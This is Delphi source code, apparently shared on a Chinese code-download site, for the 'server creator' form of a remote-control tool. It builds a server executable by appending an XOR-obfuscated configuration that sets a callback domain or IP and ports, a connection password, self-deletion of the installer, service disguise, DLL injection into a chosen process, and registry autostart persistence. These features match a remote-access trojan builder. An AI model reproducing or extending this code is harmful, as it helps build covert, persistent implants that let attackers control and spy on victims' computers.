远程控制编程

开发平台：
Delphi

untServerCreator.pas：源码内容
							{南域剑盟    www.98exe.com   上兴QQ:51992
 声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
unit untServerCreator;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, ComCtrls, jpeg;
type
  TForm7 = class(TForm)
    CheckBox1: TCheckBox;
    Bevel2: TBevel;
    Label3: TLabel;
    portEdit: TEdit;
    Button1: TButton;
    Label4: TLabel;
    dnsEdit: TEdit;
    Label5: TLabel;
    passEdit: TEdit;
    Button2: TButton;
    ProgressBar1: TProgressBar;
    Label6: TLabel;
    Edit6: TEdit;
    Label8: TLabel;
    ComboBox1: TComboBox;
    Label9: TLabel;
    ComboBox2: TComboBox;
    spSkinStdLabel1: TLabel;
    ComboBoxDll: TComboBox;
    spSkinStdLabel2: TLabel;
    ComboBoxHost: TComboBox;
    CheckBox2: TCheckBox;
    CheckBox8: TCheckBox;
    RadioBox1: TCheckBox;
    Label14: TLabel;
    ServerView: TEdit;
    Label15: TLabel;
    ServerName: TEdit;
    Label16: TLabel;
    ServerText: TEdit;
    CheckBox9: TCheckBox;
    CheckBox10: TCheckBox;
    CheckBox11: TCheckBox;
    RadioGroup1: TRadioGroup;
    GrEdit3: TEdit;
    Label7: TLabel;
    dlgSave1: TSaveDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    function GatherInfo: String;
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form7: TForm7;
implementation
{$R *.dfm}
procedure TForm7.Button1Click(Sender: TObject);
begin
  Randomize;
  portEdit.Text := IntToStr(Random(10000)+100);
end;
Function EncryptText(Text: String): String;
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 12));
    End;
End;
function GetLength(Text: String): String;
Begin
  If (Length(Text) > 9) Then
    Result := IntToStr(Length(Text))
  Else
    Result := '0'+IntToStr(Length(Text));
End;
function TForm7.GatherInfo: String;
const
  Qhead = '01';
begin
  Result :=
  GetLength('')+''+            //URL转向域名
  Qhead + inttostr(RadioGroup1.ItemIndex)+               //连接类型
  GetLength(DnsEdit.Text)+DnsEdit.Text+                 //自己连接域名或IP地址
  GetLength(portEdit.Text)+portEdit.Text+                     //被动连接端口
  GetLength(portEdit.Text)+portEdit.Text+         //主动连接端口号
  GetLength(passEdit.Text)+passEdit.Text+                   //连接密码
  GetLength(GrEdit3.Text)+GrEdit3.Text+                 //上线分组
  '02' + IntToStr(Integer(CheckBox8.Checked))+IntToStr(Integer(RadioBox1.Checked))+//Win9x下写入注册表启动项  01:以服务运行，10:注册自动启动  11:有自动启动也有以服务运行
  Qhead + inttostr(ComboBox1.ItemIndex) +                //安装路径
  GetLength(ComboBox2.Text)+ComboBox2.Text+              //安装名称
  Qhead + IntToStr(Integer(CheckBox2.Checked))+          //自动删除安装文件
  GetLength(ServerView.Text)+ServerView.Text+            //显示名称
  GetLength(ServerName.Text)+ServerName.Text+            //服务名称
  GetLength(ServerText.Text)+ServerText.Text+            //描述信息
  GetLength(ComboBoxHost.Text)+ComboBoxHost.Text+        //注入的进程名称
  GetLength(ComboBoxDll.Text)+ComboBoxDll.Text+          //Dll名称
  Qhead + IntToStr(Integer(CheckBox9.Checked))+          //注册在HKEY_LOCAL_MACHINE
  Qhead + IntToStr(Integer(CheckBox11.Checked))+          //注册在HKEY_CURRENT_USER
  Qhead + IntToStr(Integer(CheckBox10.Checked));          //注册为Shell Explorer
  Result := #00 + EncryptText(Result);
end;
Procedure ReadFileStr(dName: String; Var Content: String);
Var
  FContents     : File Of Char;
  FBuffer       : Array [1..1024] Of Char;
  rLen          : LongInt;
  FSize         : LongInt;
Begin
  Try
    Content := '';
    AssignFile(FContents, dName);
    Reset(FContents);
    FSize := FileSize(FContents);
    While Not EOF(FContents) Do
    Begin
      BlockRead(FContents, FBuffer, 1024, rLen);
      Content := Content + String(FBuffer);
    End;
    CloseFile(FContents);
    If Length(Content) > FSize Then
      Content := Copy(Content, 1, FSize);
  Except
    Exit;
  End;
End;
Function ExtractServer(dName: String): String;
Var
  ResultFilePath        :String;
  ResourceLocation      :HRSRC;
  ResourcePointer       :PChar;
  ResourceSize          :LongWord;
  BytesWritten          :LongWord;
  ResDataHandle         :THandle;
  FileHandle            :THandle;
Begin
  if  Form7.dlgSave1.Execute then
  ResultFilePath := Form7.dlgSave1.FileName;//ExtractFilePath(ParamStr(0)) + 'Server.exe';
  If (FileExists(ResultFilePath)) Then
    DeleteFile(pChar(ResultFilePath));
  ResourceLocation := FindResource(hInstance, pChar(dName), RT_RCDATA);
  If ResourceLocation = 0 Then Exit;
  ResourceSize := SizeOfResource(HInstance, ResourceLocation);
  If ResourceSize = 0 Then Exit;
  ResDataHandle := LoadResource(HInstance, ResourceLocation);
  If ResDataHandle = 0 Then Exit;
  ResourcePointer := LockResource(ResDataHandle);
  If ResourcePointer = NIL Then Exit;
  FileHandle := CreateFile(pChar(ResultFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, NIL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  If FileHandle = INVALID_HANDLE_VALUE Then Exit;
  WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, NIL);
  CloseHandle(FileHandle);
  Result := ResultFilePath;
End;
procedure TForm7.Button2Click(Sender: TObject);
Var
  Settings      :String;
  Content       :String;
  Name          :String;
  F             :TextFile;
begin
  ProgressBar1.Position := 0;
  Settings := GatherInfo;
  ProgressBar1.Position := 20;
  Name := ExtractServer('DSN');
  Sleep(200);
  ReadFileStr(Name, Content);
  ProgressBar1.Position := 50;
  AssignFile(F, Name);
  Append(F);
  ProgressBar1.Position := 75;
  Write(F, Settings);
  ProgressBar1.Position := 90;
  CloseFile(F);
  ProgressBar1.Position := 0;
  MessageBox(0, 'Server created successfully.', 'Notice', mb_ok);
end;
end.

						